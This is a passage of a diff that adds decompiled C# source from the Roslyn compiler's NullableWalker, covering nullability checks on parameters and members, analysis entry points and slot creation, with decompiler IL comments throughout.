includeCurrentTypeRequiredMembers, flag); + } + return membersToBeInitialized(method.ContainingType, method.IncludeFieldInitializersInBody(), includeCurrentTypeRequiredMembers, flag); + } + } + bool memberHasBadState(Symbol member, LocalState state) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Expected I4, but got Unknown + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + SymbolKind kind = member.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + break; + } + goto case 1; + case 1: + { + int num = getSlotForFieldOrPropertyOrEvent(member); + if (num > 0) + { + return !GetState(ref state, num).IsNotNull(); + } + return false; + } + case 0: + case 2: + case 3: + case 4: + break; + } + return false; + } + static ImmutableArray membersToBeInitialized(NamedTypeSymbol containingType, bool includeAllMembers, bool includeCurrentTypeRequiredMembers, bool includeBaseRequiredMembers) + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + if (!includeAllMembers) + { + if (includeCurrentTypeRequiredMembers) + { + if (!includeBaseRequiredMembers) + { + return ImmutableArrayExtensions.SelectManyAsArray(containingType.GetMembersUnordered(), (Func)SymbolExtensions.IsRequired, (Func>)getAllMembersToBeDefaulted); + } + return EnumerableExtensions.SelectManyAsArray, Symbol>((IReadOnlyCollection>)(object)containingType.AllRequiredMembers, (Func, IEnumerable>)((KeyValuePair kvp) => getAllMembersToBeDefaulted(kvp.Value))); + } + if (!includeBaseRequiredMembers) + { + return ImmutableArray.Empty; + } + } + else + { + if (!includeBaseRequiredMembers) + { + return ImmutableArrayExtensions.SelectAsArray(containingType.GetMembersUnordered(), (Func)getFieldSymbolToBeInitialized); + } + if (includeCurrentTypeRequiredMembers) + { + return getAllTypeAndRequiredMembers(containingType); + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/NullableWalker.cs", 996); + } + void reportMemberIfBadConditionalState(SyntaxNode? syntaxOpt, bool sense, Symbol member, LocalState state) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + if (memberHasBadState(member, state)) + { + DiagnosticBag diagnostics = base.Diagnostics; + object obj2 = ((syntaxOpt != null) ? syntaxOpt.GetLocation() : null); + if (obj2 == null) + { + SyntaxToken lastToken = methodMainNode.Syntax.GetLastToken(false, false, false, false); + obj2 = ((SyntaxToken)(ref lastToken)).GetLocation(); + } + diagnostics.Add(ErrorCode.WRN_MemberNotNullWhen, (Location)obj2, member.Name, sense ? "true" : "false"); + } + } + } + + private MethodSymbol? GetBaseOrThisInitializer() + { + return _baseOrThisInitializer ?? GetConstructorThisOrBaseSymbol(methodMainNode); + } + + private void EnforceNotNullWhenForPendingReturn(PendingBranch pendingReturn, BoundReturnStatement returnStatement) + { + ImmutableArray methodParameters = base.MethodParameters; + if (methodParameters.IsEmpty) + { + return; + } + BoundExpression expressionOpt; + if (pendingReturn.IsConditionalState) + { + expressionOpt = returnStatement.ExpressionOpt; + if (expressionOpt != null) + { + ConstantValue constantValueOpt = expressionOpt.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsBoolean) + { + bool booleanValue = constantValueOpt.BooleanValue; + EnforceParameterNotNullWhenOnExit(returnStatement.Syntax, methodParameters, booleanValue, pendingReturn.State); + return; + } + } + if (!pendingReturn.StateWhenTrue.Reachable || !pendingReturn.StateWhenFalse.Reachable) + { + return; + } + ImmutableArray.Enumerator enumerator = methodParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + int orCreateSlot = GetOrCreateSlot(current); + if (orCreateSlot > 0 && GetState(ref pendingReturn.StateWhenTrue, orCreateSlot) != GetState(ref pendingReturn.StateWhenFalse, orCreateSlot)) + { + ReportParameterIfBadConditionalState(returnStatement.Syntax, current, sense: true, pendingReturn.StateWhenTrue); + ReportParameterIfBadConditionalState(returnStatement.Syntax, current, sense: false, pendingReturn.StateWhenFalse); + } + } + return; + } + expressionOpt = returnStatement.ExpressionOpt; + if (expressionOpt != null) + { + ConstantValue constantValueOpt = expressionOpt.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsBoolean) + { + bool booleanValue2 = constantValueOpt.BooleanValue; + EnforceParameterNotNullWhenOnExit(returnStatement.Syntax, methodParameters, booleanValue2, pendingReturn.State); + } + } + } + + private void EnforceParameterNotNullOnExit(SyntaxNode? syntaxOpt, LocalState state) + { + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + if (!state.Reachable) + { + return; + } + ImmutableArray.Enumerator enumerator = base.MethodParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + int orCreateSlot = GetOrCreateSlot(current); + if (orCreateSlot <= 0) + { + continue; + } + bool num = (current.FlowAnalysisAnnotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNull; + NullableFlowState state2 = GetState(ref state, orCreateSlot); + if (num && state2.MayBeNull()) + { + SyntaxToken val; + Location location; + if (syntaxOpt is BlockSyntax blockSyntax) + { + val = blockSyntax.CloseBraceToken; + location = ((SyntaxToken)(ref val)).GetLocation(); + } + else + { + object obj = ((syntaxOpt != null) ? syntaxOpt.GetLocation() : null); + if (obj == null) + { + val = methodMainNode.Syntax.GetLastToken(false, false, false, false); + obj = ((SyntaxToken)(ref val)).GetLocation(); + } + location = (Location)obj; + } + base.Diagnostics.Add(ErrorCode.WRN_ParameterDisallowsNull, location, current.Name); + } + else + { + EnforceNotNullIfNotNull(syntaxOpt, state, base.MethodParameters, current.NotNullIfParameterNotNull, state2, current); + } + } + } + + private void EnforceParameterNotNullWhenOnExit(SyntaxNode syntax, ImmutableArray parameters, bool sense, LocalState stateWhen) + { + if (stateWhen.Reachable) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + ReportParameterIfBadConditionalState(syntax, current, sense, stateWhen); + } + } + } + + private void ReportParameterIfBadConditionalState(SyntaxNode syntax, ParameterSymbol parameter, bool sense, LocalState stateWhen) + { + if (parameterHasBadConditionalState(parameter, sense, stateWhen)) + { + base.Diagnostics.Add(ErrorCode.WRN_ParameterConditionallyDisallowsNull, syntax.Location, parameter.Name, sense ? "true" : "false"); + } + bool parameterHasBadConditionalState(ParameterSymbol parameterSymbol, bool flag, LocalState state2) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + RefKind refKind = parameterSymbol.RefKind; + if ((int)refKind != 2 && (int)refKind != 1) + { + return false; + } + int orCreateSlot = GetOrCreateSlot(parameterSymbol); + if (orCreateSlot > 0) + { + NullableFlowState state = GetState(ref state2, orCreateSlot); + FlowAnalysisAnnotations flowAnalysisAnnotations = parameterSymbol.FlowAnalysisAnnotations; + if (flag) + { + bool num = (flowAnalysisAnnotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNullWhenTrue; + bool flag2 = (flowAnalysisAnnotations & FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNullWhenFalse; + if (!num || !state.MayBeNull()) + { + if (flag2) + { + return ShouldReportNullableAssignment(parameterSymbol.TypeWithAnnotations, state); + } + return false; + } + return true; + } + bool num2 = (flowAnalysisAnnotations & FlowAnalysisAnnotations.NotNull) == FlowAnalysisAnnotations.NotNullWhenFalse; + bool flag3 = (flowAnalysisAnnotations & FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNullWhenTrue; + if (!num2 || !state.MayBeNull()) + { + if (flag3) + { + return ShouldReportNullableAssignment(parameterSymbol.TypeWithAnnotations, state); + } + return false; + } + return true; + } + return false; + } + } + + private void EnforceNotNullIfNotNull(SyntaxNode? syntaxOpt, LocalState state, ImmutableArray parameters, ImmutableHashSet inputParamNames, NullableFlowState outputState, ParameterSymbol? outputParam) + { + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + if (inputParamNames.IsEmpty || outputState.IsNotNull()) + { + return; + } + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!inputParamNames.Contains(current.Name)) + { + continue; + } + int orCreateSlot = GetOrCreateSlot(current); + if (orCreateSlot > 0 && GetState(ref state, orCreateSlot).IsNotNull()) + { + object obj = ((syntaxOpt != null) ? syntaxOpt.GetLocation() : null); + if (obj == null) + { + SyntaxToken lastToken = methodMainNode.Syntax.GetLastToken(false, false, false, false); + obj = ((SyntaxToken)(ref lastToken)).GetLocation(); + } + Location location = (Location)obj; + if ((object)outputParam != null) + { + base.Diagnostics.Add(ErrorCode.WRN_ParameterNotNullIfNotNull, location, outputParam.Name, current.Name); + } + else if (CurrentSymbol is MethodSymbol { IsAsync: false }) + { + base.Diagnostics.Add(ErrorCode.WRN_ReturnNotNullIfNotNull, location, current.Name); + } + break; + } + } + } + + private void EnforceDoesNotReturn(SyntaxNode? syntaxOpt) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + if (CurrentSymbol is MethodSymbol methodSymbol && (methodSymbol.FlowAnalysisAnnotations & FlowAnalysisAnnotations.DoesNotReturn) == FlowAnalysisAnnotations.DoesNotReturn && IsReachable()) + { + object obj = ((syntaxOpt != null) ? syntaxOpt.GetLocation() : null); + if (obj == null) + { + SyntaxToken lastToken = methodMainNode.Syntax.GetLastToken(false, false, false, false); + obj = ((SyntaxToken)(ref lastToken)).GetLocation(); + } + ReportDiagnostic(ErrorCode.WRN_ShouldNotReturn, (Location)obj); + } + } + + internal static void AnalyzeIfNeeded(CSharpCompilation compilation, MethodSymbol method, BoundNode node, DiagnosticBag diagnostics, bool useConstructorExitWarnings, VariableState? initialNullableState, bool getFinalNullableState, MethodSymbol? baseOrThisInitializer, out VariableState? finalNullableState) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + if (!HasRequiredLanguageVersion(compilation) || !compilation.IsNullableAnalysisEnabledIn(method)) + { + if (compilation.IsNullableAnalysisEnabledAlways) + { + Analyze(compilation, method, node, new DiagnosticBag(), useConstructorExitWarnings: false, null, getFinalNullableState: false, baseOrThisInitializer, out VariableState _, requiresAnalysis: false); + } + finalNullableState = null; + } + else + { + Analyze(compilation, method, node, diagnostics, useConstructorExitWarnings, initialNullableState, getFinalNullableState, baseOrThisInitializer, out finalNullableState); + } + } + + private static void Analyze(CSharpCompilation compilation, MethodSymbol method, BoundNode node, DiagnosticBag diagnostics, bool useConstructorExitWarnings, VariableState? initialNullableState, bool getFinalNullableState, MethodSymbol? baseOrThisInitializer, out VariableState? finalNullableState, bool requiresAnalysis = true) + { + if (method.IsImplicitlyDeclared && !method.IsImplicitConstructor && !method.IsScriptInitializer) + { + finalNullableState = null; + return; + } + Binder binder = ((method is SynthesizedSimpleProgramEntryPointSymbol synthesizedSimpleProgramEntryPointSymbol) ? synthesizedSimpleProgramEntryPointSymbol.GetBodyBinder(ignoreAccessibility: false) : compilation.GetBinderFactory(node.SyntaxTree).GetBinder(node.Syntax)); + Conversions conversions = binder.Conversions; + Analyze(compilation, method, node, binder, conversions, diagnostics, useConstructorExitWarnings, useDelegateInvokeParameterTypes: false, useDelegateInvokeReturnType: false, null, initialNullableState, baseOrThisInitializer, null, null, null, getFinalNullableState, out finalNullableState, requiresAnalysis); + } + + internal static VariableState? GetAfterInitializersState(CSharpCompilation compilation, Symbol? symbol, BoundNode constructorBody) + { + if (symbol is MethodSymbol methodSymbol && methodSymbol.IncludeFieldInitializersInBody() && methodSymbol.ContainingType is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + Binder.ProcessedFieldInitializers processedInitializers = default(Binder.ProcessedFieldInitializers); + Binder.BindFieldInitializers(compilation, null, methodSymbol.IsStatic ? sourceMemberContainerTypeSymbol.StaticInitializers : sourceMemberContainerTypeSymbol.InstanceInitializers, BindingDiagnosticBag.Discarded, ref processedInitializers); + return GetAfterInitializersState(compilation, methodSymbol, InitializerRewriter.RewriteConstructor(processedInitializers.BoundInitializers, methodSymbol), constructorBody, BindingDiagnosticBag.Discarded); + } + return null; + } + + internal static VariableState? GetAfterInitializersState(CSharpCompilation compilation, MethodSymbol method, BoundNode nodeToAnalyze, BoundNode? constructorBody, BindingDiagnosticBag diagnostics) + { + DiagnosticBag val; + bool flag; + if (((BindingDiagnosticBag)diagnostics).DiagnosticBag == null) + { + diagnostics = BindingDiagnosticBag.Discarded; + val = DiagnosticBag.GetInstance(); + flag = true; + } + else + { + val = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + flag = false; + } + MethodSymbol constructorThisOrBaseSymbol = GetConstructorThisOrBaseSymbol(constructorBody); + AnalyzeIfNeeded(compilation, method, nodeToAnalyze, val, useConstructorExitWarnings: false, null, getFinalNullableState: true, constructorThisOrBaseSymbol, out VariableState finalNullableState); + if (flag) + { + val.Free(); + } + return finalNullableState; + } + + private static MethodSymbol? GetConstructorThisOrBaseSymbol(BoundNode? constructorBody) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + if (constructorBody is BoundConstructorMethodBody { Initializer: BoundExpressionStatement { Expression: BoundCall expression } }) + { + MethodSymbol method = expression.Method; + if ((object)method != null && (int)method.MethodKind == 1) + { + return method; + } + } + return null; + } + + internal static void AnalyzeWithoutRewrite(CSharpCompilation compilation, Symbol? symbol, BoundNode node, Binder binder, DiagnosticBag diagnostics, bool createSnapshots) + { + AnalyzeWithSemanticInfo(compilation, symbol, node, binder, GetAfterInitializersState(compilation, symbol, node), diagnostics, createSnapshots, requiresAnalysis: false); + } + + internal static BoundNode AnalyzeAndRewrite(CSharpCompilation compilation, Symbol? symbol, BoundNode node, Binder binder, VariableState? initialState, DiagnosticBag diagnostics, bool createSnapshots, out SnapshotManager? snapshotManager, ref ImmutableDictionary? remappedSymbols) + { + (SnapshotManager, ImmutableDictionary) tuple = AnalyzeWithSemanticInfo(compilation, symbol, node, binder, initialState, diagnostics, createSnapshots, requiresAnalysis: true); + (snapshotManager, _) = tuple; + return Rewrite(tuple.Item2, snapshotManager, node, ref remappedSymbols); + } + + private static (SnapshotManager?, ImmutableDictionary) AnalyzeWithSemanticInfo(CSharpCompilation compilation, Symbol? symbol, BoundNode node, Binder binder, VariableState? initialState, DiagnosticBag diagnostics, bool createSnapshots, bool requiresAnalysis) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(EqualityComparer.Default, NullabilityInfoTypeComparer.Instance); + SnapshotManager.Builder builder2 = ((createSnapshots && symbol != null) ? new SnapshotManager.Builder() : null); + Analyze(compilation, symbol, node, binder, binder.Conversions, diagnostics, useConstructorExitWarnings: true, useDelegateInvokeParameterTypes: false, useDelegateInvokeReturnType: false, null, initialState, null, builder, builder2, null, getFinalNullableState: false, out VariableState _, requiresAnalysis); + ImmutableDictionary item = builder.ToImmutable(); + return (builder2?.ToManagerAndFree(), item); + } + + internal static BoundNode AnalyzeAndRewriteSpeculation(int position, BoundNode node, Binder binder, SnapshotManager originalSnapshots, out SnapshotManager newSnapshots, ref ImmutableDictionary? remappedSymbols) + { + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(EqualityComparer.Default, NullabilityInfoTypeComparer.Instance); + SnapshotManager.Builder builder2 = new SnapshotManager.Builder(); + (VariablesSnapshot, LocalStateSnapshot) snapshot = originalSnapshots.GetSnapshot(position); + VariablesSnapshot item = snapshot.Item1; + LocalStateSnapshot item2 = snapshot.Item2; + Symbol symbol = item.Symbol; + NullableWalker nullableWalker = new NullableWalker(binder.Compilation, symbol, useConstructorExitWarnings: false, useDelegateInvokeParameterTypes: false, useDelegateInvokeReturnType: false, null, node, binder, binder.Conversions, Variables.Create(item), null, null, builder, builder2, isSpeculative: true); + try + { + Analyze(nullableWalker, symbol, null, Optional.op_Implicit(LocalState.Create(item2)), builder2); + } + finally + { + nullableWalker.Free(); + } + ImmutableDictionary updatedNullabilities = builder.ToImmutable(); + newSnapshots = builder2.ToManagerAndFree(); + return Rewrite(updatedNullabilities, newSnapshots, node, ref remappedSymbols); + } + + private static BoundNode Rewrite(ImmutableDictionary updatedNullabilities, SnapshotManager? snapshotManager, BoundNode node, ref ImmutableDictionary? remappedSymbols) + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(SymbolEqualityComparer.ConsiderEverything, SymbolEqualityComparer.ConsiderEverything); + if (remappedSymbols != null) + { + builder.AddRange(remappedSymbols); + } + BoundNode result = new NullabilityRewriter(updatedNullabilities, snapshotManager, builder).Visit(node); + remappedSymbols = builder.ToImmutable(); + return result; + } + + private static bool HasRequiredLanguageVersion(CSharpCompilation compilation) + { + return compilation.LanguageVersion >= MessageID.IDS_FeatureNullableReferenceTypes.RequiredVersion(); + } + + internal static bool NeedsAnalysis(CSharpCompilation compilation, SyntaxNode syntaxNode) + { + if (HasRequiredLanguageVersion(compilation)) + { + if (!compilation.IsNullableAnalysisEnabledIn(syntaxNode)) + { + return compilation.IsNullableAnalysisEnabledAlways; + } + return true; + } + return false; + } + + internal static void AnalyzeIfNeeded(Binder binder, BoundNode node, SyntaxNode syntax, DiagnosticBag diagnostics) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + bool requiresAnalysis = true; + CSharpCompilation cSharpCompilation = binder.Compilation; + if (!HasRequiredLanguageVersion(cSharpCompilation) || !cSharpCompilation.IsNullableAnalysisEnabledIn(syntax)) + { + if (!cSharpCompilation.IsNullableAnalysisEnabledAlways) + { + return; + } + diagnostics = new DiagnosticBag(); + requiresAnalysis = false; + } + Analyze(cSharpCompilation, null, node, binder, binder.Conversions, diagnostics, useConstructorExitWarnings: false, useDelegateInvokeParameterTypes: false, useDelegateInvokeReturnType: false, null, null, null, null, null, null, getFinalNullableState: false, out VariableState _, requiresAnalysis); + } + + internal static void Analyze(CSharpCompilation compilation, BoundLambda lambda, Conversions conversions, DiagnosticBag diagnostics, MethodSymbol? delegateInvokeMethodOpt, VariableState initialState, ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>? returnTypesOpt) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + LambdaSymbol symbol = lambda.Symbol; + Variables variables = Variables.Create(initialState.Variables).CreateNestedMethodScope(symbol); + UseDelegateInvokeParameterAndReturnTypes(lambda, delegateInvokeMethodOpt, out var useDelegateInvokeParameterTypes, out var useDelegateInvokeReturnType); + NullableWalker nullableWalker = new NullableWalker(compilation, symbol, useConstructorExitWarnings: false, useDelegateInvokeParameterTypes, useDelegateInvokeReturnType, delegateInvokeMethodOpt, lambda.Body, lambda.Binder, conversions, variables, null, returnTypesOpt, null, null); + try + { + LocalState localState = LocalState.Create(initialState.VariableNullableStates).CreateNestedMethodState(variables); + Analyze(nullableWalker, symbol, diagnostics, Optional.op_Implicit(localState), null); + } + finally + { + nullableWalker.Free(); + } + } + + private static void Analyze(CSharpCompilation compilation, Symbol? symbol, BoundNode node, Binder binder, Conversions conversions, DiagnosticBag diagnostics, bool useConstructorExitWarnings, bool useDelegateInvokeParameterTypes, bool useDelegateInvokeReturnType, MethodSymbol? delegateInvokeMethodOpt, VariableState? initialState, MethodSymbol? baseOrThisInitializer, ImmutableDictionary.Builder? analyzedNullabilityMapOpt, SnapshotManager.Builder? snapshotBuilderOpt, ArrayBuilder<(BoundReturnStatement, TypeWithAnnotations)>? returnTypesOpt, bool getFinalNullableState, out VariableState? finalNullableState, bool requiresAnalysis = true) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + NullableWalker nullableWalker = new NullableWalker(compilation, symbol, useConstructorExitWarnings, useDelegateInvokeParameterTypes, useDelegateInvokeReturnType, delegateInvokeMethodOpt, node, binder, conversions, (initialState == null) ? null : Variables.Create(initialState.Variables), baseOrThisInitializer, returnTypesOpt, analyzedNullabilityMapOpt, snapshotBuilderOpt); + finalNullableState = null; + try + { + Analyze(nullableWalker, symbol, diagnostics, (initialState == null) ? default(Optional) : Optional.op_Implicit(LocalState.Create(initialState.VariableNullableStates)), snapshotBuilderOpt, requiresAnalysis); + if (getFinalNullableState) + { + finalNullableState = GetVariableState(nullableWalker._variables, nullableWalker.State); + } + } + finally + { + nullableWalker.Free(); + } + } + + private static void Analyze(NullableWalker walker, Symbol? symbol, DiagnosticBag? diagnostics, Optional initialState, SnapshotManager.Builder? snapshotBuilderOpt, bool requiresAnalysis = true) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + int previousSlot = snapshotBuilderOpt?.EnterNewWalker(symbol) ?? (-1); + try + { + bool badRegion = false; + walker.Analyze(ref badRegion, initialState); + if (diagnostics != null) + { + diagnostics.AddRange(walker.Diagnostics); + } + } + catch (CancelledByStackGuardException ex) when (diagnostics != null) + { + ex.AddAnError(diagnostics); + } + finally + { + snapshotBuilderOpt?.ExitWalker(walker.SaveSharedState(), previousSlot); + } + walker.RecordNullableAnalysisData(symbol, requiresAnalysis); + } + + private void RecordNullableAnalysisData(Symbol? symbol, bool requiredAnalysis) + { + if (!(compilation.TestOnlyCompilationData is NullableAnalysisData nullableAnalysisData)) + { + return; + } + ConcurrentDictionary data = nullableAnalysisData.Data; + if (data != null) + { + object key = ((object)symbol) ?? ((object)methodMainNode.Syntax); + if (!data.TryGetValue(key, out var _)) + { + data.TryAdd(key, new Data(_variables.GetTotalVariableCount(), requiredAnalysis)); + } + } + } + + private SharedWalkerState SaveSharedState() + { + return new SharedWalkerState(_variables.CreateSnapshot()); + } + + private void TakeIncrementalSnapshot(BoundNode? node) + { + _snapshotBuilderOpt?.TakeIncrementalSnapshot(node, State); + } + + private void SetUpdatedSymbol(BoundNode node, Symbol originalSymbol, Symbol updatedSymbol) + { + if (_snapshotBuilderOpt == null) + { + return; + } + bool flag = false; + if (node is BoundLambda boundLambda && originalSymbol is LambdaSymbol l && updatedSymbol is NamedTypeSymbol n) + { + if (!AreLambdaAndNewDelegateSimilar(l, n)) + { + return; + } + flag = updatedSymbol.Equals(boundLambda.Type.GetDelegateType(), (TypeCompareKind)0); + } + if (flag || Symbol.Equals(originalSymbol, updatedSymbol, (TypeCompareKind)0)) + { + _snapshotBuilderOpt.RemoveSymbolIfPresent(node, originalSymbol); + } + else + { + _snapshotBuilderOpt.SetUpdatedSymbol(node, originalSymbol, updatedSymbol); + } + } + + private NullableFlowState GetState(ref LocalState state, int slot) + { + if (!state.Reachable) + { + return NullableFlowState.NotNull; + } + NormalizeIfNeeded(ref state, slot, useNotNullsAsDefault: false); + return state[slot]; + } + + private void SetState(ref LocalState state, int slot, NullableFlowState value, bool useNotNullsAsDefault = false) + { + if (state.Reachable) + { + NormalizeIfNeeded(ref state, slot, useNotNullsAsDefault); + state[slot] = value; + } + } + + private void NormalizeIfNeeded(ref LocalState state, int slot, bool useNotNullsAsDefault) + { + state.NormalizeIfNeeded(slot, this, _variables, useNotNullsAsDefault); + } + + protected override void Normalize(ref LocalState state) + { + if (state.Reachable) + { + state.Normalize(this, _variables); + } + } + + private NullableFlowState GetDefaultState(ref LocalState state, int slot) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected I4, but got Unknown + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + if (!state.Reachable) + { + return NullableFlowState.NotNull; + } + Symbol symbol = _variables[slot].Symbol; + SymbolKind kind = symbol.Kind; + switch (kind - 4) + { + default: + { + if ((int)kind != 13) + { + if ((int)kind != 15) + { + break; + } + goto case 1; + } + ParameterSymbol parameterSymbol = (ParameterSymbol)symbol; + if (!_variables.TryGetType(parameterSymbol, out var type2)) + { + type2 = parameterSymbol.TypeWithAnnotations; + } + return GetParameterState(type2, parameterSymbol.FlowAnalysisAnnotations).State; + } + case 4: + { + LocalSymbol localSymbol = (LocalSymbol)symbol; + if (!_variables.TryGetType(localSymbol, out var type)) + { + type = localSymbol.TypeWithAnnotations; + } + return type.ToTypeWithState().State; + } + case 1: + case 2: + return GetDefaultState(symbol); + case 0: + return NullableFlowState.NotNull; + case 3: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + + protected override bool TryGetReceiverAndMember(BoundExpression expr, out BoundExpression? receiver, [NotNullWhen(true)] out Symbol? member) + { + receiver = null; + member = null; + switch (expr.Kind) + { + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + FieldSymbol fieldSymbol = (FieldSymbol)(member = boundFieldAccess.FieldSymbol); + if (fieldSymbol.IsFixedSizeBuffer) + { + return false; + } + if (fieldSymbol.IsStatic) + { + return true; + } + receiver = boundFieldAccess.ReceiverOpt; + break; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + if ((member = boundEventAccess.EventSymbol).IsStatic) + { + return true; + } + receiver = boundEventAccess.ReceiverOpt; + break; + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + if ((member = boundPropertyAccess.PropertySymbol).IsStatic) + { + return true; + } + receiver = boundPropertyAccess.ReceiverOpt; + break; + } + } + if ((object)member != null && receiver != null && receiver.Kind != BoundKind.TypeExpression) + { + return (object)receiver.Type != null; + } + return false; + } + + protected override int MakeSlot(BoundExpression node) + { + return makeSlot(node); + int getPlaceholderSlot(BoundExpression expr) + { + if (_placeholderLocalsOpt != null && ((Dictionary)(object)_placeholderLocalsOpt).TryGetValue((object)expr, out PlaceholderLocal value)) + { + return GetOrCreateSlot(value); + } + return -1; + } + static MethodSymbol? getTopLevelMethod(MethodSymbol? method) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + while ((object)method != null) + { + Symbol containingSymbol = method.ContainingSymbol; + if ((int)containingSymbol.Kind == 11) + { + return method; + } + method = containingSymbol as MethodSymbol; + } + return null; + } + int makeSlot(BoundExpression boundExpression) + { + BoundConversion boundConversion; + switch (boundExpression.Kind) + { + case BoundKind.ThisReference: + case BoundKind.BaseReference: + { + ParameterSymbol parameterSymbol = getTopLevelMethod(_symbol as MethodSymbol)?.ThisParameter; + if ((object)parameterSymbol == null) + { + return -1; + } + return GetOrCreateSlot(parameterSymbol); + } + case BoundKind.Conversion: + { + int num2 = getPlaceholderSlot(boundExpression); + if (num2 > 0) + { + return num2; + } + boundConversion = (BoundConversion)boundExpression; + ConversionKind kind = boundConversion.Conversion.Kind; + if (kind <= ConversionKind.Boxing) + { + if (kind == ConversionKind.Identity || kind == ConversionKind.ImplicitTupleLiteral || kind - 12 <= ConversionKind.NoConversion) + { + goto IL_01a1; + } + } + else if (kind <= ConversionKind.ConditionalExpression) + { + if (kind != ConversionKind.ExplicitNullable) + { + if (kind - 35 <= ConversionKind.NoConversion) + { + goto IL_017b; + } + } + else + { + BoundExpression operand = boundConversion.Operand; + TypeSymbol type = operand.Type; + TypeSymbol type2 = boundConversion.Type; + if (AreNullableAndUnderlyingTypes(type, type2, out var _)) + { + int num3 = MakeSlot(operand); + Symbol valueProperty; + if (num3 >= 0) + { + return GetNullableOfTValueSlot(type, num3, out valueProperty); + } + return -1; + } + } + } + else + { + if (kind == ConversionKind.DefaultLiteral) + { + goto IL_01a1; + } + if (kind == ConversionKind.ObjectCreation) + { + goto IL_017b; + } + } + goto IL_01de; + } + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + case BoundKind.ObjectCreationExpression: + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + case BoundKind.DynamicObjectCreationExpression: + case BoundKind.AnonymousObjectCreationExpression: + case BoundKind.NewT: + return getPlaceholderSlot(boundExpression); + case BoundKind.ConditionalAccess: + return getPlaceholderSlot(boundExpression); + case BoundKind.ConditionalReceiver: + return _lastConditionalAccessSlot; + default: + { + int num = getPlaceholderSlot(boundExpression); + if (num <= 0) + { + return base.MakeSlot(boundExpression); + } + return num; + } + IL_01a1: + return MakeSlot(boundConversion.Operand); + IL_017b: + if (IsTargetTypedExpression(boundConversion.Operand) && TypeSymbol.Equals(boundConversion.Type, boundConversion.Operand.Type, (TypeCompareKind)8)) + { + goto IL_01a1; + } + goto IL_01de; + IL_01de: + return -1; + } + } + } + + protected override int GetOrCreateSlot(Symbol symbol, int containingSlot = 0, bool forceSlotEvenIfEmpty = false, bool createIfMissing = true) + { + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + 